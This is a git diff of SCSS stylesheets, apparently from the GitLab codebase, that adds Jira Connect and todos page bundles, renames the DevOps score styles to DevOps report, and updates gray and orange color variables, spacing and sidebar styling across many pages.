index 00000000000..83d16f29d49
--- /dev/null
+++ b/app/assets/stylesheets/page_bundles/jira_connect.scss
@@ -0,0 +1,33 @@
+@import 'framework/variables';
+
+$atlaskit-border-color: #dfe1e6;
+
+.ac-content {
+ margin: 20px;
+
+ .subscription-form {
+ margin-bottom: 20px;
+
+ .field-group-input {
+ display: flex;
+ padding-top: $gl-padding-4;
+
+ .ak-button {
+ height: auto;
+ margin-left: $btn-margin-5;
+ }
+ }
+ }
+}
+
+.subscriptions {
+ tbody {
+ tr {
+ border-bottom: 1px solid $atlaskit-border-color;
+ }
+
+ td {
+ padding: $gl-padding-8;
+ }
+ }
+}
diff --git a/app/assets/stylesheets/page_bundles/todos.scss b/app/assets/stylesheets/page_bundles/todos.scss
new file mode 100644
index 00000000000..3eec5b53a30
--- /dev/null
+++ b/app/assets/stylesheets/page_bundles/todos.scss
@@ -0,0 +1,259 @@
+@import 'mixins_and_variables_and_functions';
+
+/**
+ * Dashboard Todos
+ *
+ */
+
+.todos-list > .todo {
+ // workaround because we cannot use border-collapse
+ border-top: 1px solid transparent;
+ display: flex;
+ flex-direction: row;
+
+ &:hover {
+ background-color: var(--blue-50, $blue-50);
+ border-color: var(--blue-200, $blue-200);
+ cursor: pointer;
+ }
+
+ // overwrite border style of .content-list
+ &:last-child {
+ border-bottom: 1px solid transparent;
+
+ &:hover {
+ border-color: var(--blue-200, $blue-200);
+ }
+ }
+
+ .todo-avatar,
+ .todo-actions {
+ @include transition(opacity);
+ flex: 0 0 auto;
+ }
+
+ .todo-actions {
+ display: flex;
+ justify-content: center;
+ flex-direction: column;
+ margin-left: 10px;
+ min-width: 55px;
+ }
+
+ .todo-item {
+ flex: 0 1 100%;
+ min-width: 0;
+ }
+
+ &.todo-pending.done-reversible {
+ &:hover {
+ border-color: var(--border-color, $border-color);
+ background-color: var(--gray-50, $gray-50);
+ border-top: 1px solid transparent;
+
+ .todo-avatar,
+ .todo-item {
+ opacity: 0.6;
+ }
+ }
+
+ .todo-avatar,
+ .todo-item {
+ opacity: 0.2;
+ }
+
+ .btn {
+ background-color: var(--gray-50, $gray-50);
+ }
+ }
+}
+
+.todo-item {
+ @include transition(opacity);
+
+ .todo-title {
+ > .title-item {
+ &:first-child {
+ margin-left: 0;
+ }
+
+ &:last-child {
+ margin-right: 0;
+ }
+ }
+
+ .todo-label {
+ flex: 0 1 auto;
+ overflow: hidden;
+ text-overflow: ellipsis;
+ white-space: nowrap;
+ }
+ }
+
+ .status-box {
+ margin: 0;
+ float: none;
+ display: inline-block;
+ font-weight: $gl-font-weight-normal;
+ padding: 0 5px;
+ line-height: inherit;
+ font-size: 14px;
+ }
+
+ .todo-label,
+ .todo-project {
+ a {
+ font-weight: $gl-font-weight-normal;
+ color: var(--blue-600, $blue-600);
+ }
+ }
+
+ .todo-body {
+ .badge.badge-pill,
+ p {
+ color: var(--gl-text-color, $gl-text-color);
+ }
+
+ .md {
+ color: $gl-grayish-blue;
+ font-size: $gl-font-size;
+ }
+
+ code {
+ white-space: pre-wrap;
+ }
+
+ pre {
+ border: 0;
+ background: var(--gray-50, $gray-50);
+ border-radius: 0;
+ color: var(--gray-500, $gray-500);
+ margin: 0 20px;
+ overflow: hidden;
+ }
+
+ .note-image-attach {
+ margin-top: 4px;
+ margin-left: 0;
+ max-width: 200px;
+ float: none;
+ }
+
+ p:last-child {
+ margin-bottom: 0;
+ }
+ }
+
+ .gl-label-scoped {
+ --label-inset-border: inset 0 0 0 1px currentColor;
+ }
+}
+
+@include media-breakpoint-down(lg) {
+ .todos-filters {
+ .filter-categories {
+ width: 75%;
+
+ .filter-item {
+ margin-bottom: 10px;
+ }
+ }
+ }
+}
+
+@include media-breakpoint-down(sm) {
+ .container-fluid .todos-list-container {
+ margin: 0 (-$gl-padding);
+ }
+
+ .todo {
+ .avatar {
+ display: none;
+ }
+ }
+
+ .todo-item {
+ .todo-title {
+ margin-bottom: 10px;
+
+ .todo-label {
+ white-space: normal;
+ }
+ }
+
+ .todo-body {
+ margin: 0;
+ border-left: 2px solid var(--border-color, $border-color);
+ padding-left: 10px;
+ }
+ }
+
+ .todos-filters {
+ .filter-categories {
+ width: auto;
+ }
+
+ .dropdown-menu-toggle {
+ width: 100%;
+ }
+
+ .dropdown-menu-toggle-sort {
+ width: auto;
+ }
+ }
+}
+
+.todos-empty {
+ display: flex;
+ flex-direction: column;
+ max-width: 900px;
+ margin-left: auto;
+ margin-right: auto;
+
+ @include media-breakpoint-up(sm) {
+ flex-direction: row;
+ padding-top: 80px;
+ }
+}
+
+.todos-empty-content {
+ align-self: center;
+ max-width: 480px;
+ margin-right: 20px;
+}
+
+.todos-empty-hero {
+ width: 200px;
+ margin-left: auto;
+ margin-right: auto;
+
+ @include media-breakpoint-up(sm) {
+ width: 300px;
+ margin-right: 0;
+ order: 2;
+ }
+}
+
+.todos-all-done {
+ padding-top: 20px;
+
+ @include media-breakpoint-up(sm) {
+ padding-top: 50px;
+ }
+
+ > svg {
+ display: block;
+ max-width: 300px;
+ margin: 0 auto 20px;
+ }
+
+ p {
+ max-width: 470px;
+ margin-left: auto;
+ margin-right: auto;
+ }
+
+ a {
+ font-weight: $gl-font-weight-bold;
+ }
+}
diff --git a/app/assets/stylesheets/pages/alert_management/details.scss b/app/assets/stylesheets/pages/alert_management/details.scss
index 0f889935583..a104c06c853 100644
--- a/app/assets/stylesheets/pages/alert_management/details.scss
+++ b/app/assets/stylesheets/pages/alert_management/details.scss
@@ -1,39 +1,4 @@
.alert-management-details {
- // these styles need to be deleted once GlTable component looks in GitLab same as in @gitlab/ui
- table {
- tr {
- td {
- @include gl-border-0;
- @include gl-p-5;
- border-color: transparent;
- border-bottom: 1px solid $table-border-color;
-
- &:first-child {
- div {
- font-weight: bold;
- }
- }
-
- &:not(:first-child) {
- &::before {
- color: $gray-500;
- font-weight: normal !important;
- }
-
- div {
- color: $gray-500;
- }
- }
-
- @include media-breakpoint-up(sm) {
- div {
- text-align: left !important;
- }
- }
- }
- }
- }
-
@include media-breakpoint-down(xs) {
.alert-details-incident-button {
width: 100%;
@@ -67,6 +32,10 @@
}
}
+ .main-notes-list::before {
+ left: 15px !important;
+ }
+
.note-header-info {
@include gl-mt-1;
}
diff --git a/app/assets/stylesheets/pages/alert_management/severity-icons.scss b/app/assets/stylesheets/pages/alert_management/severity-icons.scss
index 6004697b3e1..f58ad87a673 100644
--- a/app/assets/stylesheets/pages/alert_management/severity-icons.scss
+++ b/app/assets/stylesheets/pages/alert_management/severity-icons.scss
@@ -1,3 +1,4 @@
+.incident-severity,
.incident-management-list,
.alert-management-details {
.icon-critical {
diff --git a/app/assets/stylesheets/pages/boards.scss b/app/assets/stylesheets/pages/boards.scss
index 51a65b88cd0..c4852974a4d 100644
--- a/app/assets/stylesheets/pages/boards.scss
+++ b/app/assets/stylesheets/pages/boards.scss
@@ -116,7 +116,6 @@
.board-title {
flex-direction: column;
- height: 100%;
}
.board-title-caret {
@@ -284,7 +283,7 @@
}
.confidential-icon {
- color: $orange-600;
+ color: $orange-500;
cursor: help;
}
diff --git a/app/assets/stylesheets/pages/branches.scss b/app/assets/stylesheets/pages/branches.scss
index 3c49cc54ac4..d34d309eea3 100644
--- a/app/assets/stylesheets/pages/branches.scss
+++ b/app/assets/stylesheets/pages/branches.scss
@@ -23,7 +23,7 @@
.bar {
height: 4px;
- background-color: $gl-gray-100;
+ background-color: $gray-100;
}
.count {
@@ -34,7 +34,7 @@
.graph-separator {
width: $graph-separator-width;
height: 18px;
- background-color: $gl-gray-100;
+ background-color: $gray-100;
}
}
diff --git a/app/assets/stylesheets/pages/builds.scss b/app/assets/stylesheets/pages/builds.scss
index f367d9ea4d8..04167cbee1b 100644
--- a/app/assets/stylesheets/pages/builds.scss
+++ b/app/assets/stylesheets/pages/builds.scss
@@ -50,7 +50,7 @@
top: $header-height;
border-radius: 2px 2px 0 0;
color: $orange-600;
- background-color: $orange-100;
+ background-color: $orange-50;
border: 1px solid $border-gray-normal;
padding: 3px 12px;
margin: auto;
@@ -63,7 +63,7 @@
}
.top-bar {
- @include build-trace-top-bar(35px);
+ @include build-trace-top-bar(50px);
&.has-archived-block {
top: $header-height + 28px;
diff --git a/app/assets/stylesheets/pages/clusters.scss b/app/assets/stylesheets/pages/clusters.scss
index 29422c1f7fa..4e27f438e36 100644
--- a/app/assets/stylesheets/pages/clusters.scss
+++ b/app/assets/stylesheets/pages/clusters.scss
@@ -69,7 +69,7 @@
align-self: flex-start;
font-weight: 500;
font-size: 20px;
- color: $orange-900;
+ color: $orange-500;
opacity: 1;
margin: $gl-padding-8 14px 0 0;
}
@@ -124,7 +124,7 @@
background-color: none;
border: 0;
font-weight: bold;
- color: $gl-gray-500;
+ color: $gray-500;
}
}
}
@@ -156,7 +156,7 @@
}
.cluster-deployments-warning {
- color: $orange-600;
+ color: $orange-500;
}
.badge.pods-badge {
diff --git a/app/assets/stylesheets/pages/cycle_analytics.scss b/app/assets/stylesheets/pages/cycle_analytics.scss
index b97709e140f..c509bf121bc 100644
--- a/app/assets/stylesheets/pages/cycle_analytics.scss
+++ b/app/assets/stylesheets/pages/cycle_analytics.scss
@@ -41,15 +41,6 @@
width: 20%;
}
- .fa,
- svg {
- color: $cycle-analytics-light-gray;
-
- &:hover {
- color: $gl-text-color;
- }
- }
-
.stage-header {
width: 20.5%;
}
@@ -360,23 +351,3 @@
}
}
}
-
-.cycle-analytics-overview {
- padding-top: 100px;
-
- .overview-details {
- display: flex;
- align-items: center;
- }
-
- .overview-image {
- text-align: right;
- }
-
- .overview-icon {
- svg {
- width: 365px;
- height: 227px;
- }
- }
-}
diff --git a/app/assets/stylesheets/pages/dev_ops_report.scss b/app/assets/stylesheets/pages/dev_ops_report.scss
new file mode 100644
index 00000000000..871cd9c4f02
--- /dev/null
+++ b/app/assets/stylesheets/pages/dev_ops_report.scss
@@ -0,0 +1,259 @@
+$space-between-cards: 8px;
+
+.devops-empty svg {
+ margin: 64px auto 32px;
+ max-width: 420px;
+}
+
+.devops-header {
+ margin-top: $gl-padding;
+ margin-bottom: $gl-padding;
+ padding: 0 4px;
+ display: flex;
+ align-items: center;
+
+ .devops-header-title {
+ font-size: 48px;
+ line-height: 1;
+ margin: 0;
+ }
+
+ .devops-header-subtitle {
+ font-size: 22px;
+ line-height: 1;
+ color: $gl-text-color-secondary;
+ margin-left: 8px;
+ font-weight: $gl-font-weight-normal;
+
+ .devops-header-icon {
+ vertical-align: px-to-rem(-$gl-spacing-scale-1);
+ }
+
+ a {
+ font-size: 18px;
+ color: $gl-text-color-secondary;
+
+ &:hover {
+ color: $blue-500;
+ }
+ }
+ }
+}
+
+.devops-cards {
+ display: flex;
+ justify-content: center;
+ flex-wrap: wrap;
+}
+
+.devops-card-wrapper {
+ display: flex;
+ flex-direction: column;
+ align-items: stretch;
+ text-align: center;
+ width: 50%;
+ border-color: $border-color;
+ margin: 0 0 32px;
+ padding: $space-between-cards / 2;
+ position: relative;
+
+ @include media-breakpoint-up(xs) {
+ width: percentage(1 / 4);
+ }
+
+ @include media-breakpoint-up(sm) {
+ width: percentage(1 / 5);
+ }
+
+ @include media-breakpoint-up(md) {
+ width: percentage(1 / 6);
+ }
+
+ @include media-breakpoint-up(lg) {
+ width: percentage(1 / 10);
+ }
+}
+
+.devops-card {
+ border: solid 1px $border-color;
+ border-radius: 3px;
+ border-top-width: 3px;
+ display: flex;
+ flex-direction: column;
+ flex-grow: 1;
+}
+
+.devops-card-low {
+ border-top-color: $red-400;
+
+ .board-card-score-big {
+ background-color: $red-50;
+ }
+}
+
+.devops-card-average {
+ border-top-color: $orange-200;
+
+ .board-card-score-big {
+ background-color: $orange-50;
+ }
+}
+
+.devops-card-high {
+ border-top-color: $green-400;
+
+ .board-card-score-big {
+ background-color: $green-50;
+ }
+}
+
+.devops-card-title {
+ margin: $gl-padding auto auto;
+ max-width: 100px;
+
+ h3 {
+ font-size: 14px;
+ margin: 0 0 2px;
+ }
+
+ .light-text {
+ font-size: 13px;
+ line-height: 1.25;
+ color: $gl-text-color-secondary;
+ }
+}
+
+.board-card-scores {
+ display: flex;
+ justify-content: space-around;
+ align-items: center;
+ margin: $gl-padding $gl-btn-padding;
+ line-height: 1;
+}
+
+.board-card-score {
+ color: $gl-text-color-secondary;
+
+ .board-card-score-name {
+ font-size: 13px;
+ margin-top: 4px;
+ }
+}
+
+.board-card-score-value {
+ font-size: 16px;
+ color: $gl-text-color;
+ font-weight: $gl-font-weight-normal;
+}
+
+.board-card-score-big {
+ border-top: 2px solid $border-color;
+ border-bottom: 1px solid $border-color;
+ font-size: 22px;
+ padding: 10px 0;
+ font-weight: $gl-font-weight-normal;
+}
+
+.board-card-buttons {
+ display: flex;
+
+ > * {
+ font-size: 16px;
+ color: $gl-text-color-secondary;
+ padding: 10px;
+ flex-grow: 1;
+
+ &:hover {
+ background-color: $border-color;
+ color: $gl-text-color;
+ }
+
+ + * {
+ border-left: solid 1px $border-color;
+ }
+ }
+}
+
+.devops-steps {
+ margin-top: $gl-padding;
+ height: 1px;
+ min-width: 100%;
+ justify-content: space-around;
+ position: relative;
+ background: $border-color;
+}
+
+.devops-step {
+ $step-positions: 5% 10% 30% 42% 48% 55% 60% 70% 75% 90%;
+ @each $pos in $step-positions {
+ $i: index($step-positions, $pos);
+
+ &:nth-child(#{$i}) {
+ left: $pos;
+ }
+ }
+
+ position: absolute;
+ transform-origin: 75% 50%;
+ padding: 8px;
+ height: 50px;
+ width: 50px;
+ border-radius: 3px;
+ display: flex;
+ flex-direction: column;
+ align-items: center;
+ border: solid 1px $border-color;
+ background: $white;
+ transform: translate(-50%, -50%);
+ color: $gl-text-color-secondary;
+ fill: $gl-text-color-secondary;
+ box-shadow: 0 2px 4px $dropdown-shadow-color;
+
+ &:hover {
+ padding: 8px 10px;
+ fill: currentColor;
+ z-index: 100;
+ height: auto;
+ width: auto;
+
+ .devops-step-title {
+ max-height: 2em;
+ opacity: 1;
+ transition: opacity 0.2s;
+ }
+
+ svg {
+ transform: scale(1.5);
+ margin: $gl-btn-padding;
+ }
+ }
+
+ svg {
+ transition: transform 0.1s;
+ width: 30px;
+ height: 30px;
+ min-height: 30px;
+ min-width: 30px;
+ }
+}
+
+.devops-step-title {
+ max-height: 0;
+ opacity: 0;
+ text-transform: uppercase;
+ margin: $gl-vert-padding 0 0;
+ text-align: center;
+ font-size: 12px;
+}
+
+.devops-high-score {
+ color: $green-400;
+}
+
+.devops-average-score {
+ color: $orange-500;
+}
+
+.devops-low-score {
+ color: $red-400;
+}
diff --git a/app/assets/stylesheets/pages/dev_ops_score.scss b/app/assets/stylesheets/pages/dev_ops_score.scss
deleted file mode 100644
index b9ee905f4b6..00000000000
--- a/app/assets/stylesheets/pages/dev_ops_score.scss
+++ /dev/null
@@ -1,255 +0,0 @@
-$space-between-cards: 8px;
-
-.devops-empty svg {
- margin: 64px auto 32px;
- max-width: 420px;
-}
-
-.devops-header {
- margin-top: $gl-padding;
- margin-bottom: $gl-padding;
- padding: 0 4px;
- display: flex;
- align-items: center;
-
- .devops-header-title {
- font-size: 48px;
- line-height: 1;
- margin: 0;
- }
-
- .devops-header-subtitle {
- font-size: 22px;
- line-height: 1;
- color: $gl-text-color-secondary;
- margin-left: 8px;
- font-weight: $gl-font-weight-normal;
-
- a {
- font-size: 18px;
- color: $gl-text-color-secondary;
-
- &:hover {
- color: $blue-500;
- }
- }
- }
-}
-
-.devops-cards {
- display: flex;
- justify-content: center;
- flex-wrap: wrap;
-}
-
-.devops-card-wrapper {
- display: flex;
- flex-direction: column;
- align-items: stretch;
- text-align: center;
- width: 50%;
- border-color: $border-color;
- margin: 0 0 32px;
- padding: $space-between-cards / 2;
- position: relative;
-
- @include media-breakpoint-up(xs) {
- width: percentage(1 / 4);
- }
-
- @include media-breakpoint-up(sm) {
- width: percentage(1 / 5);
- }
-
- @include media-breakpoint-up(md) {
- width: percentage(1 / 6);
- }
-
- @include media-breakpoint-up(lg) {
- width: percentage(1 / 10);
- }
-}
-
-.devops-card {
- border: solid 1px $border-color;
- border-radius: 3px;
- border-top-width: 3px;
- display: flex;
- flex-direction: column;
- flex-grow: 1;
-}
-
-.devops-card-low {
- border-top-color: $red-400;
-
- .board-card-score-big {
- background-color: $red-50;
- }
-}
-
-.devops-card-average {
- border-top-color: $orange-400;
-
- .board-card-score-big {
- background-color: $orange-50;
- }
-}
-
-.devops-card-high {
- border-top-color: $green-400;
-
- .board-card-score-big {
- background-color: $green-50;
- }
-}
-
-.devops-card-title {
- margin: $gl-padding auto auto;
- max-width: 100px;
-
- h3 {
- font-size: 14px;
- margin: 0 0 2px;
- }
-
- .light-text {
- font-size: 13px;
- line-height: 1.25;
- color: $gl-text-color-secondary;
- }
-}
-
-.board-card-scores {
- display: flex;
- justify-content: space-around;
- align-items: center;
- margin: $gl-padding $gl-btn-padding;
- line-height: 1;
-}
-
-.board-card-score {
- color: $gl-text-color-secondary;
-
- .board-card-score-name {
- font-size: 13px;
- margin-top: 4px;
- }
-}
-
-.board-card-score-value {
- font-size: 16px;
- color: $gl-text-color;
- font-weight: $gl-font-weight-normal;
-}
-
-.board-card-score-big {
- border-top: 2px solid $border-color;
- border-bottom: 1px solid $border-color;
- font-size: 22px;
- padding: 10px 0;
- font-weight: $gl-font-weight-normal;
-}
-
-.board-card-buttons {
- display: flex;
-
- > * {
- font-size: 16px;
- color: $gl-text-color-secondary;
- padding: 10px;
- flex-grow: 1;
-
- &:hover {
- background-color: $border-color;
- color: $gl-text-color;
- }
-
- + * {
- border-left: solid 1px $border-color;
- }
- }
-}
-
-.devops-steps {
- margin-top: $gl-padding;
- height: 1px;
- min-width: 100%;
- justify-content: space-around;
- position: relative;
- background: $border-color;
-}
-
-.devops-step {
- $step-positions: 5% 10% 30% 42% 48% 55% 60% 70% 75% 90%;
- @each $pos in $step-positions {
- $i: index($step-positions, $pos);
-
- &:nth-child(#{$i}) {
- left: $pos;
- }
- }
-
- position: absolute;
- transform-origin: 75% 50%;
- padding: 8px;
- height: 50px;
- width: 50px;
- border-radius: 3px;
- display: flex;
- flex-direction: column;
- align-items: center;
- border: solid 1px $border-color;
- background: $white;
- transform: translate(-50%, -50%);
- color: $gl-text-color-secondary;
- fill: $gl-text-color-secondary;
- box-shadow: 0 2px 4px $dropdown-shadow-color;
-
- &:hover {
- padding: 8px 10px;
- fill: currentColor;
- z-index: 100;
- height: auto;
- width: auto;
-
- .devops-step-title {
- max-height: 2em;
- opacity: 1;
- transition: opacity 0.2s;
- }
-
- svg {
- transform: scale(1.5);
- margin: $gl-btn-padding;
- }
- }
-
- svg {
- transition: transform 0.1s;
- width: 30px;
- height: 30px;
- min-height: 30px;
- min-width: 30px;
- }
-}
-
-.devops-step-title {
- max-height: 0;
- opacity: 0;
- text-transform: uppercase;
- margin: $gl-vert-padding 0 0;
- text-align: center;
- font-size: 12px;
-}
-
-.devops-high-score {
- color: $green-400;
-}
-
-.devops-average-score {
- color: $orange-400;
-}
-
-.devops-low-score {
- color: $red-400;
-}
diff --git a/app/assets/stylesheets/pages/diff.scss b/app/assets/stylesheets/pages/diff.scss
index a7b93c9eab7..62af7103b39 100644
--- a/app/assets/stylesheets/pages/diff.scss
+++ b/app/assets/stylesheets/pages/diff.scss
@@ -102,7 +102,7 @@
.file-mode-changed {
padding: 10px;
- color: $gl-gray-500;
+ color: $gray-500;
}
.suppressed-container {
@@ -181,7 +181,7 @@
.swipe-wrap {
overflow: hidden;
- border-right: 1px solid $gl-gray-400;
+ border-right: 1px solid $gray-300;
position: absolute;
display: block;
top: 13px;
@@ -190,7 +190,7 @@
&.left-oriented {
/* only for commit view (different swipe viewer) */
border-right: 0;
- border-left: 1px solid $gl-gray-400;
+ border-left: 1px solid $gray-300;
}
}
@@ -1062,7 +1062,7 @@ table.code {
.diff-tree-list {
position: -webkit-sticky;
position: sticky;
- $top-pos: $header-height + $mr-tabs-height + $mr-version-controls-height + 11px;
+ $top-pos: $header-height + $mr-tabs-height + $mr-version-controls-height + 15px;
top: $top-pos;
max-height: calc(100vh - #{$top-pos});
z-index: 202;
diff --git a/app/assets/stylesheets/pages/environments.scss b/app/assets/stylesheets/pages/environments.scss
index ef7b56ac210..5ce500dad1d 100644
--- a/app/assets/stylesheets/pages/environments.scss
+++ b/app/assets/stylesheets/pages/environments.scss
@@ -83,7 +83,7 @@
.x-axis path,
.y-axis path {
- stroke: $gl-gray-350;
+ stroke: $gray-300;
}
.label-x-axis-line,
@@ -93,7 +93,7 @@
.y-axis {
line {
- stroke: $gl-gray-350;
+ stroke: $gray-300;
stroke-width: 1;
}
}
@@ -117,7 +117,7 @@
}
.selected-metric-line {
- stroke: $gl-gray-dark;
+ stroke: $gray-900;
stroke-width: 1;
}
diff --git a/app/assets/stylesheets/pages/events.scss b/app/assets/stylesheets/pages/events.scss
index 500f5816d38..5738cbb4b31 100644
--- a/app/assets/stylesheets/pages/events.scss
+++ b/app/assets/stylesheets/pages/events.scss
@@ -94,7 +94,7 @@
border: 0;
background: $gray-light;
border-radius: 0;
- color: $gl-gray-500;
+ color: $gray-500;
overflow: hidden;
}
@@ -111,7 +111,7 @@
}
.event-note-icon {
- color: $gl-gray-500;
+ color: $gray-500;
float: left;
font-size: $gl-font-size;
margin-right: 5px;
diff --git a/app/assets/stylesheets/pages/graph.scss b/app/assets/stylesheets/pages/graph.scss
index c4b6cdd703d..bca4d50973a 100644
--- a/app/assets/stylesheets/pages/graph.scss
+++ b/app/assets/stylesheets/pages/graph.scss
@@ -43,7 +43,7 @@
.y-axis-label {
line {
- stroke: $gl-gray-350;
+ stroke: $gray-300;
}
text {
diff --git a/app/assets/stylesheets/pages/groups.scss b/app/assets/stylesheets/pages/groups.scss
index c309c8d157a..69fd094f83b 100644
--- a/app/assets/stylesheets/pages/groups.scss
+++ b/app/assets/stylesheets/pages/groups.scss
@@ -52,7 +52,7 @@
.save-group-loader {
margin-top: $gl-padding-50;
margin-bottom: $gl-padding-50;
- color: $gl-gray-700;
+ color: $gray-700;
}
.group-nav-container .nav-controls {
diff --git a/app/assets/stylesheets/pages/help.scss b/app/assets/stylesheets/pages/help.scss
index ab281bc7f23..540060d60de 100644
--- a/app/assets/stylesheets/pages/help.scss
+++ b/app/assets/stylesheets/pages/help.scss
@@ -1,6 +1,6 @@
.shortcut-mappings {
font-size: 12px;
- color: $gl-gray-700;
+ color: $gray-700;
tbody:first-child tr:first-child {
padding-top: 0;
@@ -22,7 +22,7 @@
.shortcut {
padding-right: 10px;
- color: $gl-gray-400;
+ color: $gray-300;
text-align: right;
white-space: nowrap;
}
diff --git a/app/assets/stylesheets/pages/incident_management_list.scss b/app/assets/stylesheets/pages/incident_management_list.scss
index 00ca3cc73e0..316066694a8 100644
--- a/app/assets/stylesheets/pages/incident_management_list.scss
+++ b/app/assets/stylesheets/pages/incident_management_list.scss
@@ -108,7 +108,7 @@
border-bottom-width: 0;
.gl-tab-nav-item {
- color: $gl-gray-600;
+ color: $gray-500;
> .gl-tab-counter-badge {
color: inherit;
diff --git a/app/assets/stylesheets/pages/issuable.scss b/app/assets/stylesheets/pages/issuable.scss
index 2f28361f62c..53525a4d877 100644
--- a/app/assets/stylesheets/pages/issuable.scss
+++ b/app/assets/stylesheets/pages/issuable.scss
@@ -1,5 +1,5 @@
.issuable-warning-icon {
- background-color: $orange-100;
+ background-color: $orange-50;
border-radius: $border-radius-default;
width: $issuable-warning-size;
height: $issuable-warning-size;
@@ -50,6 +50,7 @@
.title-container {
display: flex;
+ align-items: flex-start;
}
.title {
@@ -65,7 +66,6 @@
.btn-edit {
margin-left: auto;
- height: $gl-padding * 2;
}
.emoji-block {
@@ -119,11 +119,11 @@
.assignee {
.merge-icon {
- color: $orange-500;
+ color: $orange-400;
position: absolute;
bottom: 0;
right: 0;
- text-shadow: -1px -1px 0 $white, 1px -1px 0 $white, -1px 1px 0 $white, 1px 1px 0 $white;
+ text-shadow: -1px -1px 2px $white, 1px -1px 2px $white, -1px 1px 2px $white, 1px 1px 2px $white;
}
}
@@ -234,8 +234,8 @@
.title {
color: $gl-text-color;
- margin-bottom: $gl-padding-8;
- line-height: 1;
+ margin-bottom: $gl-padding-4;
+ line-height: $gl-line-height-20;
.avatar {
margin-left: 0;
@@ -252,7 +252,8 @@
}
}
- .cross-project-reference {
+ .cross-project-reference,
+ .sidebar-mr-source-branch {
color: inherit;
span {
@@ -360,13 +361,6 @@
margin: 0;
}
- .username {
- display: block;
- margin-top: 4px;
- font-size: 13px;
- font-weight: $gl-font-weight-normal;
- }
-
.hide-expanded {
display: none;
}
@@ -389,7 +383,8 @@
border-bottom: 0;
overflow: hidden;
- &:hover {
+ &.with-sub-blocks .sub-block:hover,
+ &:not(.with-sub-blocks):hover {
background-color: $gray-100;
}
@@ -444,11 +439,6 @@
}
}
- span {
- display: block;
- margin-top: 0;
- }
-
.sidebar-avatar-counter {
padding-top: 2px;
}
@@ -741,7 +731,6 @@
.issuable-info-container {
flex: 1;
display: flex;
- padding-right: $gl-padding;
.issuable-main-info {
flex: 1 auto;
@@ -919,12 +908,12 @@
}
.issuable-todo-btn {
- .fa-spinner {
+ .gl-spinner {
display: none;
}
&.is-loading {
- .fa-spinner {
+ .gl-spinner {
display: inline-block;
}
@@ -982,7 +971,7 @@
}
.suggestion-confidential {
- color: $orange-600;
+ color: $orange-500;
}
.suggestion-state-open {
@@ -1006,3 +995,15 @@
border: 0;
}
}
+
+@include media-breakpoint-down(sm) {
+ // Overriding the following rule with the negative margin
+ // https://gitlab.com/gitlab-org/gitlab/-/blob/146c43c931c3743a140529307aea616e4aa9ff21/app/assets/stylesheets/framework/sidebar.scss#L1-5
+ .container-fluid {
+ .issuable-list,
+ .issues-filters,
+ .epics-filters {
+ margin: 0 (-$gl-padding);
+ }
+ }
+}
diff --git a/app/assets/stylesheets/pages/issues.scss b/app/assets/stylesheets/pages/issues.scss
index 0c349ab73a3..03603f637c8 100644
--- a/app/assets/stylesheets/pages/issues.scss
+++ b/app/assets/stylesheets/pages/issues.scss
@@ -14,7 +14,7 @@
}
.issue {
- padding: 10px 0 10px $gl-padding;
+ padding: 10px $gl-padding;
position: relative;
.title {
@@ -294,12 +294,12 @@ ul.related-merge-requests > li {
&::after {
content: image-url('icon_anchor.svg');
- @include invisible(hidden);
+ visibility: hidden;
}
}
&:hover > a.anchor::after {
- @include invisible(visible);
+ visibility: visible;
}
}
}
diff --git a/app/assets/stylesheets/pages/members.scss b/app/assets/stylesheets/pages/members.scss
index 54bca80194f..2d9a9f3029f 100644
--- a/app/assets/stylesheets/pages/members.scss
+++ b/app/assets/stylesheets/pages/members.scss
@@ -180,10 +180,6 @@
word-break: break-all;
}
- .member-group-link {
- display: inline-block;
- }
-
.form-control {
width: inherit;
}
diff --git a/app/assets/stylesheets/pages/merge_requests.scss b/app/assets/stylesheets/pages/merge_requests.scss
index a6d1fc11c3f..8aaeb92eb7a 100644
--- a/app/assets/stylesheets/pages/merge_requests.scss
+++ b/app/assets/stylesheets/pages/merge_requests.scss
@@ -64,7 +64,7 @@ $mr-widget-min-height: 69px;
background-color: $gray-light;
&.clickable:hover {
- background-color: $gl-gray-100;
+ background-color: $gray-100;
cursor: pointer;
}
}
@@ -311,7 +311,7 @@ $mr-widget-min-height: 69px;
.bold {
font-weight: $gl-font-weight-bold;
- color: $gl-gray-light;
+ color: $gray-600;
margin-left: 10px;
}
@@ -873,7 +873,6 @@ $mr-widget-min-height: 69px;
.merge-request-tabs-container,
.epic-tabs-container {
flex-direction: column-reverse;
- padding-top: $gl-padding-8;
}
}
@@ -883,7 +882,6 @@ $mr-widget-min-height: 69px;
.epic-tabs-container {
flex-direction: column-reverse;
align-items: flex-start;
- padding-top: $gl-padding-8;
}
}
}
@@ -980,7 +978,7 @@ $mr-widget-min-height: 69px;
opacity: 0.65;
&:hover {
- color: $gl-gray-500;
+ color: $gray-500;
text-decoration: none;
}
}
@@ -1035,3 +1033,9 @@ $mr-widget-min-height: 69px;
.diff-file-row.is-active {
background-color: $gray-50;
}
+
+.merge-request-container {
+ .flash-container {
+ @include gl-mb-4;
+ }
+}
diff --git a/app/assets/stylesheets/pages/milestone.scss b/app/assets/stylesheets/pages/milestone.scss
index c473cc44637..e9eb79b071c 100644
--- a/app/assets/stylesheets/pages/milestone.scss
+++ b/app/assets/stylesheets/pages/milestone.scss
@@ -178,7 +178,6 @@ $status-box-line-height: 26px;
.milestone-detail {
border-bottom: 1px solid $border-color;
- padding: 20px 0;
}
@include media-breakpoint-down(xs) {
diff --git a/app/assets/stylesheets/pages/note_form.scss b/app/assets/stylesheets/pages/note_form.scss
index 35a15214f68..8b3d3268a8c 100644
--- a/app/assets/stylesheets/pages/note_form.scss
+++ b/app/assets/stylesheets/pages/note_form.scss
@@ -97,7 +97,7 @@
.issuable-note-warning {
color: $orange-600;
- background-color: $orange-100;
+ background-color: $orange-50;
border-radius: $border-radius-default $border-radius-default 0 0;
border: 1px solid $border-gray-normal;
border-bottom: 0;
diff --git a/app/assets/stylesheets/pages/notes.scss b/app/assets/stylesheets/pages/notes.scss
index e4e54501627..c144fb13322 100644
--- a/app/assets/stylesheets/pages/notes.scss
+++ b/app/assets/stylesheets/pages/notes.scss
@@ -186,8 +186,8 @@ $note-form-margin-left: 72px;
padding: $gl-padding;
.dummy-avatar {
- background-color: $gl-gray-100;
- border: 1px solid darken($gl-gray-100, 25%);
+ background-color: $gray-100;
+ border: 1px solid darken($gray-100, 25%);
}
.note-headline-light,
@@ -835,7 +835,7 @@ $note-form-margin-left: 72px;
&[disabled] {
background: $white;
border-color: $gray-200;
- color: $gl-gray-400;
+ color: $gray-300;
cursor: not-allowed;
}
}
